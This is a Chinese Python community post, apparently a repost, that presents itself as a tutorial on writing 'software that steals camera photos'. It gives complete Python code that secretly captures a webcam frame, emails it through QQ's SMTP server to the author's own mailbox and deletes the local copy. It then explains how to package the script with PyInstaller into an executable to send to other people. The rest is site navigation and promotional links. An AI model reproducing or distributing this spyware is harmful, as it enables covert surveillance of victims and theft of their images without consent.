社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

用 Python 写了一个窃取摄像头照片的软件

Python绿色通道 • 4 年前 • 326 次点击  

来源:http://nxw.so/5nIWK



教你用python做一个属于自己的窃取摄像头照片的软件。


需要安装python3.5以上版本,在官网下载即可。


然后安装库opencv-python,安装方式为打开终端输入命令行。

可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple,这样就会从清华这边的镜像去安装需要的库,会快很多。


pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/


具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把.py打包成.exe,这样就可以发给别人用啦。


import os                                       # 删除图片文件import cv2                                      # 调用摄像头拍摄照片from smtplib import SMTP_SSL                    # SSL加密的   传输协议from email.mime.text import MIMEText            # 构建邮件文本from email.mime.multipart import MIMEMultipart  # 构建邮件体from email.header import Header                 # 发送内容

# 调用摄像头拍摄照片def get_photo(): cap = cv2.VideoCapture(0) # 开启摄像头 f, frame = cap.read() # 将摄像头中的一帧图片数据保存 cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件 cap.release() # 关闭摄像头

# 把图片文件发送到我的邮箱def send_message(): # 选择QQ邮箱发送照片 host_server = 'smtp.qq.com' # QQ邮箱smtp服务器 pwd = '****************' # 授权码 from_qq_mail = 'QQ@qq.com' # 发件人 to_qq_mail = 'QQ@qq.com' # 收件人 msg = MIMEMultipart() # 创建一封带附件的邮件
msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题 msg['From'] = from_qq_mail # 发件人 msg['To'] = Header("YH", 'UTF-8') # 收件人 msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息
# 加载附件到邮箱中 SSL 方式 加密 image = MIMEText(open('image.jpg', 'rb').read(), 'base64' , 'utf-8') image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据 msg.attach(image) # 附件添加
# 开始发送邮件 smtp = SMTP_SSL(host_server) # 链接服务器 smtp .login(from_qq_mail, pwd) # 登录邮箱 smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱 smtp.quit() # 退出

if __name__ == '__main__': get_photo() # 开启摄像头获取照片 send_message() # 发送照片 os.remove('image.jpg') # 删除本地照片


获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保,即可获取到16位授权码。






打包方法:


1. 先安装pyinstaller,在终端中输入pip install pyinstaller即可。


2. 找路径,用cd法找路径比较麻烦,这里推荐一种简便的方法,直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。



3. 打包,输入命令行


pyinstaller --console --onefile 7.py  //这里打包的是一个叫7.py的文件。



在dist文件夹里面即可找到可执行文件。




最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。


Python自学超级硬核资料


Ps:这里都是视频学习资料,基础不好或者零基础的同学比较适合

最后送大家一份Python学习大礼包,从Python基础,爬虫,数据分析Web开发等全套资料,吃透资料,你可以扔掉其他资料,这些资料都是视频,学起来非常友好。



扫码加微信后备注「Python新手」方便我给你发送资料,另外「Python绿色通道」专属学习群已正式成立,想进群也可扫上方二维码。


推荐阅读


  1. 如何用树莓派搭建一台永久运行的个人服务器?

  2. 为什么数据分析师这么吃香?

  3. 简直暴利?四川某加密币矿场实拍曝光,一天营收 6300 多万

  4. 使用 Python 修改微信/QQ/支付宝运动步数

看完记得关注@Python绿色通道
及时收看更多好文
↓↓↓



点个在看你最好看

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/111205
 
326 次点击